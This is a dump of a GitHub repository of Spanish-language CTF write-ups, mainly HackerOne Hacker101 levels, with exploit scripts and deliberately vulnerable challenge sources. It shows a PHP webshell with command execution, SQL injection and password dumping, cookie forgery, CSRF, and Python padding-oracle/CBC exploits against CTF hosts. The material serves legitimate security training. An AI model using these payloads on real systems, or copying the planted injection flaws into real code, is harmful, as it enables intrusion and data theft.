22 | ('2019-03-01', 'CA5G8VIB6UC9'), 23 | ('2019-03-05', '01VJNN9RHJAC'), 24 | ('2019-03-10', '1WSNL48OLSAJ'), 25 | ('2019-03-13', 'UN683EI26G56'), 26 | ('2019-03-18', 'YYKCXJKAK3KV'), 27 | ('2019-03-23', '00HE2T21U15H'), 28 | ('2019-03-28', 'D5VBHEDB9YGF'), 29 | ('2019-03-30', 'I6I8UV5Q64L0'); 30 | 31 | INSERT INTO `april` (`date`, `winner`) VALUES 32 | ('2019-03-01', '4KYEC00RC5BZ'), 33 | ('2019-04-02', '7AET1KPGKUG4'), 34 | ('2019-04-06', 'UDT5LEWRSWM9'), 35 | ('2019-04-10', 'OQQRH90KDJH1'), 36 | ('2019-04-12', '2JTBMJW9HZOO'), 37 | ('2019-04-14', 'L4CY1JMRBEAW'), 38 | ('2019-04-18', '8DKYRPIO4QUW'), 39 | ('2019-04-22', 'BFWQCWYK9VHJ'), 40 | ('2019-04-27', '31OSKU57KV49'); 41 | 42 | INSERT INTO `may` (`date`, `winner`) VALUES 43 | ('2019-03-01', 'O3QZ2P6JNSSA'), 44 | ('2019-05-04', 'PQ8ZW6TI1JH7'), 45 | ('2019-05-09', 'OWGVFW0XPLHE'), 46 | ('2019-05-10', 'OMZRJWA7WWBC'), 47 | ('2019-05-16', 'KRRNDWFFIB08'), 48 | ('2019-05-20', 'ZJR7ANXVBLEF'), 49 | ('2019-05-25', '8GAB09Z4Q88A'); 50 | 51 | INSERT INTO `june` (`date`, `winner`) VALUES 52 | ('2019-03-01', '1JJL716ATSCZ'), 53 | ('2019-06-04', 'YELDF36F4TW7'), 54 | ('2019-06-08', 'WXRJP8D4KKJQ'), 55 | ('2019-06-22', 'G0O9L3XPS3IR'); 56 | -------------------------------------------------------------------------------- /google-ctf-2019/gLotto/img/gLotto-001.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/google-ctf-2019/gLotto/img/gLotto-001.png -------------------------------------------------------------------------------- /google-ctf-2019/gLotto/img/gLotto-002.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/google-ctf-2019/gLotto/img/gLotto-002.png -------------------------------------------------------------------------------- /hacker101/README.md: -------------------------------------------------------------------------------- 1 | # HackerOne Hacker101 CTF 2 | 3 | ![](img/hacker101.png) 4 | 5 | ## Summary 6 | 7 | * [A little something to get you started](level01.md) 8 | * [Micro-CMS](level02-03-micro-cms.md) 9 | * [Encrypted Pastebin](level04-encrypted-pastebin.md) 10 | * [Photo Gallery](level05-photo-gallery.md) 11 | * [Cody’s First Blog](level06-blog.md) 12 | * [Postbook](level07-postbook.md) 13 | * [Ticketastic](level08-ticketastic.md) 14 | -------------------------------------------------------------------------------- /hacker101/img/hacker101.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/hacker101/img/hacker101.png -------------------------------------------------------------------------------- /hacker101/img/level00.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/hacker101/img/level00.png -------------------------------------------------------------------------------- /hacker101/img/level01-edit.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/hacker101/img/level01-edit.png -------------------------------------------------------------------------------- /hacker101/img/level01-xss.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/hacker101/img/level01-xss.png -------------------------------------------------------------------------------- /hacker101/img/level01.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/hacker101/img/level01.png -------------------------------------------------------------------------------- /hacker101/img/level02-page3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/hacker101/img/level02-page3.png -------------------------------------------------------------------------------- /hacker101/img/level02.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/hacker101/img/level02.png -------------------------------------------------------------------------------- /hacker101/img/level03-cbc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/hacker101/img/level03-cbc.png -------------------------------------------------------------------------------- /hacker101/img/level03-cbc2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/hacker101/img/level03-cbc2.png -------------------------------------------------------------------------------- /hacker101/img/level03-error.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/hacker101/img/level03-error.png -------------------------------------------------------------------------------- /hacker101/img/level03-paddingoracle.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/hacker101/img/level03-paddingoracle.png -------------------------------------------------------------------------------- /hacker101/img/level03.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/hacker101/img/level03.png -------------------------------------------------------------------------------- /hacker101/img/level05-env.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/hacker101/img/level05-env.png -------------------------------------------------------------------------------- /hacker101/img/level05.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/hacker101/img/level05.png -------------------------------------------------------------------------------- /hacker101/img/level06-admin.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/hacker101/img/level06-admin.png -------------------------------------------------------------------------------- /hacker101/img/level06-php.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/hacker101/img/level06-php.png -------------------------------------------------------------------------------- /hacker101/img/level06.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/hacker101/img/level06.png -------------------------------------------------------------------------------- /hacker101/img/level07.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/hacker101/img/level07.png -------------------------------------------------------------------------------- /hacker101/img/level08-badlink.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/hacker101/img/level08-badlink.png -------------------------------------------------------------------------------- /hacker101/img/level08-newuser.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/hacker101/img/level08-newuser.png -------------------------------------------------------------------------------- /hacker101/img/level08-password.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/hacker101/img/level08-password.png -------------------------------------------------------------------------------- /hacker101/img/level08-post.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/hacker101/img/level08-post.png -------------------------------------------------------------------------------- /hacker101/img/level08-posturl.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/hacker101/img/level08-posturl.png -------------------------------------------------------------------------------- /hacker101/img/level08.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/hacker101/img/level08.png -------------------------------------------------------------------------------- /hacker101/level01.md: -------------------------------------------------------------------------------- 1 | # HackerOne Hacker101 CTF 2 | 3 | 4 | ## A little something to get you started 5 | ### Web - Trivial (1/flag) 6 | 7 | ### Hints 8 | * Flag0 9 | * Take a look at the source for the page 10 | * Does anything seem out of the ordinary? 11 | * The page looks really plain 12 | * What is that image? 13 | 14 | 15 | ![](img/level00.png) 16 | 17 | ```html 18 | 19 | 20 | 21 | 26 | 27 | 28 |

Welcome to level 0. Enjoy your stay.

29 | 30 | 31 | ``` 32 | Accedemos a `background.png` y obtenemos la flag. 33 | -------------------------------------------------------------------------------- /hacker101/level06-blog.md: -------------------------------------------------------------------------------- 1 | # HackerOne Hacker101 CTF 2 | 3 | ## Cody's First Blog 4 | ### Web - Moderate (5/flag) 5 | 6 | ![](img/level06.png) 7 | 8 | ### Hints 9 | 10 | * Flag0 11 | * What was the first input you saw? 12 | * Figuring out what platform this is running on may give you some ideas 13 | * Code injection usually doesn't work 14 | * Flag1 15 | * Make sure you check everything you're provided 16 | * Unused code can often lead to information you wouldn't otherwise get 17 | * Simple guessing might help you out 18 | * Flag2 19 | * Read the first blog post carefully 20 | * We talk about this in the Hacker101 File Inclusion Bugs video 21 | * Where can you access your own stored data? 22 | * Include doesn't just work for filenames 23 | 24 | 25 | ### Flag0 - PHP 26 | 27 | La primera de las flags se obtiene intentando inyectar código PHP en un post. 28 | ``` 29 | 30 | ``` 31 | 32 | ### Flag1 - Guessing 33 | 34 | En el código fuente del index hay un comentario HTML con la siguiente URL 35 | 36 | ``` 37 | 38 | ``` 39 | 40 | Cuando accedemos a ella tenemos un formulario de login. Además el formato de la URL puede ser vulnerable a LFI. 41 | 42 | Probamos la siguiente página inexistente `/?page=TEST` y obtenemos un error en el que vemos que se le ha añadido la extensión *PHP*. 43 | 44 | `Warning: include(TEST.php): failed to open stream: No such file or directory in /app/index.php on line 21` 45 | 46 | En versiones antiguas de PHP es posible utilizar un byte nulo `%00` como terminador en la función `include`. Para verificar si funciona lo usamos con un archivo que sabemos que existe. 47 | 48 | `?page=admin.auth.inc.php%00` 49 | 50 | `Warning: include(): Failed opening 'admin.auth.inc.php' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /app/index.php on line 21` 51 | 52 | Nos devuelve un error, por tanto no es vulnerable. 53 | 54 | Tras un poco de guessing, tal como nos indica la pista. Accedemos a `admin.inc.php`. 55 | 56 | ![](img/level06-admin.png) 57 | 58 | ### Flag2 - SSRF + RCE 59 | 60 | El ultimo comando es conseguir ejecución de comandos en el servidor. 61 | 62 | El primer paso es publicar y aprobar un comentario con una webshell ``. 63 | 64 | ![](img/level06-php.png) 65 | 66 | El siguiente paso es cargar este código haciendo una petición HTTP al index, ademas e 67 | 68 | `?page=http://127.0.0.1?&cmd=whoami` 69 | 70 | Con `cat index.php` obtenemos el código fuente de la aplicación, y la última flag. 71 | 72 | ```php 73 | ^FLAG^5c9376d3de6ef5ba7b2af89f133b51a62f0911e6bd7f6bfd8a96cfd997ea2d55$FLAG$

'; 85 | ?> 86 |

Comment submitted and awaiting approval!

87 | Go back 88 | 96 | 97 | 98 | 99 | <?php echo $title; ?> -- Cody's First Blog 100 | 101 | 102 |

103 | 104 |
105 |
106 |
107 |

Comments

108 | 109 |

Add comment:

110 |
111 |
112 | 113 |
114 | 118 |
119 |

120 | 123 | 124 | 125 | ``` 126 | -------------------------------------------------------------------------------- /hacker101/level07-postbook.md: -------------------------------------------------------------------------------- 1 | # HackerOne Hacker101 CTF 2 | 3 | ## Postbook 4 | ### Web - Easy (4/flag) 5 | 6 | ![](img/level07.png) 7 | 8 | 9 | * Flag0 10 | * The person with username "user" has a very easy password... 11 | * Flag1 12 | * Try viewing your own post and then see if you can change the ID 13 | * Flag2 14 | * You should definitely use "Inspect Element" on the form when creating a new post 15 | * Flag3 16 | * 189 * 5 17 | * Flag4 18 | * You can edit your own posts, what about someone else's? 19 | * Flag5 20 | * The cookie allows you to stay signed in. Can you figure out how they work so you can sign in to user with ID 1? 21 | * Flag6 22 | * Deleting a post seems to take an ID that is not a number. Can you figure out what it is? 23 | 24 | 25 | 26 | ### Flag0 - Credenciales debiles 27 | La primera flag se obtiene al acceder con `user:password` 28 | 29 | ### Flag1 - Falta de autorización 30 | Accedemos a un post de otro usuario `/index.php?page=view.php&id=2` 31 | 32 | ### Flag2 - WTF!! 33 | Creamos un post con el ID de otro usuario que se envía como un parámetro oculto del formulario. 34 | 35 | ### Flag3 - Free points 36 | Visitamos el post 945 `/index.php?page=view.php&id=945` 37 | 38 | ### Flag4 - Falta de autorización 39 | Modificamos el post de otro usuario `/index.php?page=edit.php&id=1` 40 | 41 | ### Flag5 - Cookie predecible 42 | La cookie `c81e728d9d4c2f636f067f89cc14862c` corresponde al hash MD5 de '2', generamos el MD5 de '1' `c4ca4238a0b923820dcc509a6f75849b` y modificamos la cookie, de esta forma accedemos como el usuario admin 43 | ### Flag6 - ID predecible y falta de autorización 44 | Borramos el post de otro usuario, de la misma forma el ID del post es el hash MD5 de un valor numerico `index.php?page=delete.php&id=c81e728d9d4c2f636f067f89cc14862c`. 45 | -------------------------------------------------------------------------------- /hacker101/level08-ticketastic.md: -------------------------------------------------------------------------------- 1 | # HackerOne Hacker101 CTF 2 | 3 | ## Ticketastic 4 | ### Web - Moderate (5/flag) 5 | 6 | ![](img/level08.png) 7 | 8 | ### Hints 9 | * Flag0 10 | * This level and the Ticketastic demo instance are running the same code 11 | * Take a look at addUser on the demo instance 12 | * What is missing? 13 | * Humans might read these tickets and interact with them 14 | * Links in tickets could be interesting 15 | * Flag1 16 | * How do others log into this instance? 17 | * The login form reveals more than it should 18 | * So does the ticket endpoint 19 | 20 | 21 | Para este reto disponemos de una versión demo donde probar las diferentes vulnerabilidades antes de enfrentarnos a la versión "real" 22 | 23 | Una de las pistas la encontramos en el ticket de ejemplo. 24 | ``` 25 | Example Ticket 26 | This is your ordinary, run of the mill ticket. If any errors occurred during processing -- for instance, if the user gives a bad link -- these will be noted here. 27 | ``` 28 | 29 | La opción de crear usuarios consta de un formulario sin protección a CSRF que además envía los datos por el método GET `/newUser?username=patatas&password=fritas&password2=fritas`. 30 | 31 | ![](img/level08-newuser.png) 32 | 33 | 34 | Probamos a enviar un ticket con una URL, observamos como tarda mas tiempo de lo habitual en enviarse. 35 | 36 | ![](img/level08-posturl.png) 37 | 38 | En el panel de administración aparece el siguiente mensaje. 39 | 40 | ![](img/level08-badlink.png) 41 | 42 | Aunque este formulario también es vulnerable a XSS, al no haber un administrador que revise los posts no podemos usar esta vulnerabilidad. 43 | 44 | El visor de tickets `/ticket?id=1` también es vulnerable a inyección SQL en el parámetro *id*. Al igual que en anteriores retos, se nos muestra parte del código fuente cuando ocurre un error. 45 | 46 | ```python 47 | cur.execute('SELECT title, body, reply FROM tickets WHERE id=%s' % request.args['id']) 48 | title, body, reply = cur.fetchone() 49 | ``` 50 | 51 | Utilizamos *SQLmap* para extraer los datos de la base de datos 52 | ``` 53 | Table: users 54 | +----+----------+----------+ 55 | | id | username | password | 56 | +----+----------+----------+ 57 | | 1 | admin | admin | 58 | +----+----------+----------+ 59 | 60 | Table: tickets 61 | +----+--------------------------------------+---------+----------------+ 62 | | id | body | reply | title | 63 | +----+--------------------------------------+---------+----------------+ 64 | | 1 | This is your ordinary, run of the... | | Example Ticket | 65 | +----+--------------------------------------+---------+----------------+ 66 | ``` 67 | 68 | También podemos utilizar stacked queries en este reto para añadir un nuevo usuario en la DB. 69 | 70 | `INSERT INTO users (id,username,password) VALUES (2, 'patatas', 'fritas');commit;` 71 | 72 | Dado que casi todos estos fallos se encuentran en la parte autenticada, debemos utilizar el fallo del linkbot para conseguir añadir un usuario. 73 | 74 | Esto se consigue añadiendo el siguiente link en un post `http://127.0.0.1/newUser?username=patatas&password=fritas&password2=fritas`. Hay que tener en cuenta que estos retos se encuentran en una instancia de docker separada para cada usuario, y que aunque externamente accedemos por el puerto 5001 y un directorio, esto no es mas que un proxy inverso de *nginx*, . 75 | 76 | Una vez dentro, tenemos la primera flag en los comentarios del primer post. 77 | 78 | ![](img/level08-post.png) 79 | 80 | La segunda flag se encuentra en la contraseña del usuario admin. Aunque podriamos extraerla con SQLmap, tan solo necesitamos una consulta SQL. 81 | 82 | `/ticket?id=-1 union select '',username,password from users LIMIT 1` 83 | 84 | ![](img/level08-password.png) 85 | -------------------------------------------------------------------------------- /hacker101/scripts/level04-encrypted-pastebin/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | import sys 5 | import requests 6 | from base64 import b64encode, b64decode 7 | from binascii import hexlify, unhexlify 8 | from math import ceil 9 | 10 | def _pad(text, block_size): 11 | no_of_blocks = ceil(len(text)/float(block_size)) 12 | pad_value = int(no_of_blocks * block_size - len(text)) 13 | 14 | if pad_value == 0: 15 | return text + chr(block_size) * block_size 16 | else: 17 | return text + chr(pad_value).encode() * pad_value 18 | 19 | 20 | def xor(args): 21 | # Sort by len DESC 22 | args.sort(key=len, reverse=True) 23 | res = bytearray(args.pop(0)) 24 | maxlen = len(res) 25 | 26 | for s in args: 27 | slen = len(s) 28 | for i in range(maxlen): 29 | res[i] ^= s[i % slen] 30 | return res 31 | 32 | 33 | def from_str(s): 34 | res = b'' 35 | for char in s.encode("utf-8").decode("unicode_escape"): 36 | res += bytes([ord(char)]) 37 | return res 38 | 39 | 40 | def get(data): 41 | url = 'https://2e0103df42b4a940a9dc1da7cdad7900.ctf.hacker101.com/' 42 | 43 | b64 = b64encode(data).decode().replace('=', '~').replace('/', '!').replace('+', '-') 44 | url += '?post=' + b64 45 | r = requests.get(url) 46 | print('-'*64) 47 | print(r.text) 48 | 49 | 50 | def inject(txt): 51 | plain = from_str('{"flag": "^FLAG^') 52 | crypt = bytes.fromhex('d2c6dd4c2a41f7ed5f0408ef4e31721dde55d1674026226fad1b7c11f0be754b') 53 | IV = crypt[:block_size] 54 | 55 | newplain = _pad(txt.encode(), block_size)[:block_size] 56 | print("Plain %s %s" % (hexlify(plain).decode(), plain)) 57 | print("New Plain %s %s" % (hexlify(newplain).decode(), newplain)) 58 | print("IV %s" % (hexlify(IV).decode())) 59 | 60 | newIV = xor([plain, newplain, IV]) 61 | print("newIV %s" % hexlify(newIV).decode()) 62 | 63 | return newIV + crypt[block_size:2*block_size] 64 | 65 | if __name__ == "__main__": 66 | block_size = 16 67 | 68 | if len(sys.argv)>1: 69 | txt = sys.argv[1] 70 | else: 71 | txt = '{"id":"1"}' 72 | 73 | data = inject(txt) 74 | get(data) 75 | -------------------------------------------------------------------------------- /hacker101/scripts/level04-encrypted-pastebin/exploit2.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | import sys, requests, json 5 | from base64 import b64encode, b64decode 6 | from binascii import hexlify, unhexlify 7 | from math import ceil 8 | 9 | from padding_oracle_threads import run 10 | 11 | try: 12 | data = json.load(open('data.json')) 13 | except: 14 | data = {} 15 | 16 | 17 | 18 | def _pad(text, block_size): 19 | no_of_blocks = ceil(len(text)/float(block_size)) 20 | pad_value = int(no_of_blocks * block_size - len(text)) 21 | 22 | if pad_value == 0: 23 | return text + chr(block_size) * block_size 24 | else: 25 | return text + chr(pad_value).encode() * pad_value 26 | 27 | 28 | def xor(args): 29 | # Sort by len DESC 30 | args.sort(key=len, reverse=True) 31 | res = bytearray(args.pop(0)) 32 | maxlen = len(res) 33 | 34 | for s in args: 35 | slen = len(s) 36 | for i in range(maxlen): 37 | res[i] ^= s[i % slen] 38 | return res 39 | 40 | def from_str(s): 41 | res = b'' 42 | for char in s.encode("utf-8").decode("unicode_escape"): 43 | res += bytes([ord(char)]) 44 | return res 45 | 46 | 47 | def get(hexdata): 48 | b64 = b64encode(hexdata).decode() 49 | b64 = b64.replace('=', '~').replace('/', '!').replace('+', '-') 50 | r = requests.get(url + b64) 51 | print('-'*64) 52 | print(r.text) 53 | 54 | def inject(txt): 55 | #plain = from_str('{"flag": "^FLAG^') 56 | plain = bytes.fromhex('D8D58EAEA080B26189290781CB57B879') # PLAIN FOR 00000000000000000000000000000000 57 | crypt = bytes.fromhex('00000000000000000000000000000000') 58 | zero = bytes.fromhex('00000000000000000000000000000000') 59 | 60 | txtpad = _pad(txt.encode(), block_size) 61 | txt_blocks = [txtpad[i : i + block_size] for i in range(0, len(txtpad), block_size)] 62 | print(txt_blocks) 63 | 64 | payload = zero 65 | for block in reversed(range(1, len(txt_blocks))): 66 | print('%03i %s' % (block, txt_blocks[block])) 67 | 68 | tmp = xor([txt_blocks[block], plain]) 69 | 70 | #CHECK FIRST IN DB 71 | if hexlify(tmp).decode() in data: 72 | result = data[hexlify(tmp).decode()] 73 | print("Loading from DB %s %s" % (hexlify(tmp), result)) 74 | else: 75 | result = run(url, hexlify(zero + tmp).decode()) 76 | print(result) 77 | if result: 78 | data[hexlify(tmp).decode()] = result 79 | try: 80 | json.dump(data, open("data.json", 'w')) 81 | print("Saved in DB %s %s" % (hexlify(tmp), result)) 82 | except: 83 | print("Error saving DB") 84 | 85 | plain = bytes.fromhex(result) 86 | crypt = tmp 87 | payload = crypt + payload 88 | 89 | # FIRST BLOCK 90 | print('%03i %s' % (0, txt_blocks[0])) 91 | tmp = xor([txt_blocks[0], plain]) 92 | payload = tmp + payload 93 | 94 | return payload 95 | 96 | 97 | if __name__ == "__main__": 98 | block_size = 16 99 | url = 'https://5e0dbed32e3e0b25900f17949e212b9a.ctf.hacker101.com/?post=' 100 | 101 | if len(sys.argv)>1: 102 | txt = sys.argv[1] 103 | else: 104 | txt = '{"id":"1"}' 105 | 106 | payload = inject(txt) 107 | if payload: 108 | print(hexlify(payload)) 109 | get(payload) 110 | -------------------------------------------------------------------------------- /hacker101/sources/level05-photo-gallery/main.py: -------------------------------------------------------------------------------- 1 | from flask import Flask, abort, redirect, request, Response 2 | import base64, json, MySQLdb, os, re, subprocess 3 | 4 | app = Flask(__name__) 5 | 6 | home = ''' 7 | 8 | 9 | 10 | Magical Image Gallery 11 | 12 | 13 |

Magical Image Gallery

14 | $ALBUMS$ 15 | 16 | 17 | ''' 18 | 19 | viewAlbum = ''' 20 | 21 | 22 | 23 | $TITLE$ -- Magical Image Gallery 24 | 25 | 26 |

$TITLE$

27 | $GALLERY$ 28 | 29 | 30 | ''' 31 | 32 | def getDb(): 33 | return MySQLdb.connect(host="localhost", user="root", password="", db="level5") 34 | 35 | def sanitize(data): 36 | return data.replace('&', '&').replace('<', '<').replace('>', '>').replace('"', '"') 37 | 38 | @app.route('/') 39 | def index(): 40 | cur = getDb().cursor() 41 | cur.execute('SELECT id, title FROM albums') 42 | albums = list(cur.fetchall()) 43 | 44 | rep = '' 45 | for id, title in albums: 46 | rep += '

%s

\n' % sanitize(title) 47 | rep += '
' 48 | cur.execute('SELECT id, title, filename FROM photos WHERE parent=%s LIMIT 3', (id, )) 49 | fns = [] 50 | for pid, ptitle, pfn in cur.fetchall(): 51 | rep += '

%s
' % (pid, sanitize(ptitle)) 52 | fns.append(pfn) 53 | rep += 'Space used: ' + subprocess.check_output('du -ch %s || exit 0' % ' '.join('files/' + fn for fn in fns), shell=True, stderr=subprocess.STDOUT).strip().rsplit('\n', 1)[-1] + '' 54 | rep += '
\n' 55 | 56 | return home.replace('$ALBUMS$', rep) 57 | 58 | @app.route('/fetch') 59 | def fetch(): 60 | cur = getDb().cursor() 61 | if cur.execute('SELECT filename FROM photos WHERE id=%s' % request.args['id']) == 0: 62 | abort(404) 63 | 64 | # It's dangerous to go alone, take this: 65 | # ^FLAG^a4482735c6a1bd68b3a6edec1c0ca3c5333187f5eb82f95501f57ff141b5f39d$FLAG$ 66 | 67 | return file('./%s' % cur.fetchone()[0].replace('..', ''), 'rb').read() 68 | 69 | if __name__ == "__main__": 70 | app.run(host='0.0.0.0', port=80) -------------------------------------------------------------------------------- /hacker101/sources/level06-blog/000-default.conf: -------------------------------------------------------------------------------- 1 | 2 | ServerAdmin webmaster@localhost 3 | DocumentRoot /app 4 | 5 | ErrorLog ${APACHE_LOG_DIR}/error.log 6 | CustomLog ${APACHE_LOG_DIR}/access.log combined 7 | 8 | 9 | Options Indexes FollowSymLinks 10 | AllowOverride All 11 | Require all granted 12 | 13 | -------------------------------------------------------------------------------- /hacker101/sources/level06-blog/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM nimmis/apache-php5 2 | 3 | COPY 000-default.conf /etc/apache2/sites-available/000-default.conf 4 | COPY php.ini /etc/php5/apache2/php.ini 5 | 6 | EXPOSE 80 7 | 8 | WORKDIR /app 9 | 10 | ADD . /app 11 | 12 | RUN apt-get update 13 | RUN DEBIAN_FRONTEND=noninteractive apt-get install -y mysql-client mysql-server libmysqlclient-dev build-essential python-dev python-pip 14 | RUN pip install mysqlclient 15 | 16 | CMD bash setup.sh -------------------------------------------------------------------------------- /hacker101/sources/level06-blog/admin.inc.auth.php: -------------------------------------------------------------------------------- 1 |
2 | Username:
3 | Password:
4 |
5 | Incorrect username or password'; 8 | ?> 9 |
10 | -------------------------------------------------------------------------------- /hacker101/sources/level06-blog/admin.inc.php: -------------------------------------------------------------------------------- 1 |

Pending Comments

2 | 8 |
9 |

Comment on

10 |

11 | ">Approve Comment 12 | -------------------------------------------------------------------------------- /hacker101/sources/level06-blog/index.php: -------------------------------------------------------------------------------- 1 | ^FLAG^5c9376d3de6ef5ba7b2af89f133b51a62f0911e6bd7f6bfd8a96cfd997ea2d55$FLAG$

'; 13 | ?> 14 |

Comment submitted and awaiting approval!

15 | Go back 16 | 24 | 25 | 26 | 27 | <?php echo $title; ?> -- Cody's First Blog 28 | 29 | 30 |

31 | 32 |
33 |
34 |
35 |

Comments

36 | 37 |

Add comment:

38 |
39 |
40 | 41 |
42 | 46 |
47 |

48 | 51 | 52 | -------------------------------------------------------------------------------- /hacker101/sources/level06-blog/setup.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | set -e 3 | 4 | chgrp -R mysql /var/lib/mysql 5 | service mysql start & 6 | python setup.py 7 | rm setup.py 8 | export FLAGS='[]' 9 | 10 | /usr/sbin/apache2ctl -D FOREGROUND -------------------------------------------------------------------------------- /hackplayers-2018/cisco/img/cisco-b374k.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/hackplayers-2018/cisco/img/cisco-b374k.png -------------------------------------------------------------------------------- /hackplayers-2018/cisco/img/cisco-cadaver.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/hackplayers-2018/cisco/img/cisco-cadaver.png -------------------------------------------------------------------------------- /hackplayers-2018/cisco/img/cisco-ssh.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/hackplayers-2018/cisco/img/cisco-ssh.png -------------------------------------------------------------------------------- /hackplayers-2018/cisco/img/cisco-web1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/hackplayers-2018/cisco/img/cisco-web1.png -------------------------------------------------------------------------------- /hackplayers-2018/cisco/img/cisco-web2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/hackplayers-2018/cisco/img/cisco-web2.png -------------------------------------------------------------------------------- /hackplayers-2018/jax/img/jax-browserexploit.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/hackplayers-2018/jax/img/jax-browserexploit.png -------------------------------------------------------------------------------- /hackplayers-2018/jax/img/jax-dhcpv6.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/hackplayers-2018/jax/img/jax-dhcpv6.png -------------------------------------------------------------------------------- /hackplayers-2018/jax/img/jax-elevate.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/hackplayers-2018/jax/img/jax-elevate.png -------------------------------------------------------------------------------- /hackplayers-2018/jax/img/jax-firefox.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/hackplayers-2018/jax/img/jax-firefox.png -------------------------------------------------------------------------------- /hackplayers-2018/jax/img/jax-nmap2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/hackplayers-2018/jax/img/jax-nmap2.png -------------------------------------------------------------------------------- /hackplayers-2018/jax/img/jax-responder-hash.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/hackplayers-2018/jax/img/jax-responder-hash.png -------------------------------------------------------------------------------- /hackplayers-2018/jax/img/jax-responder1.png: -------------------------------------------------------------------------------- 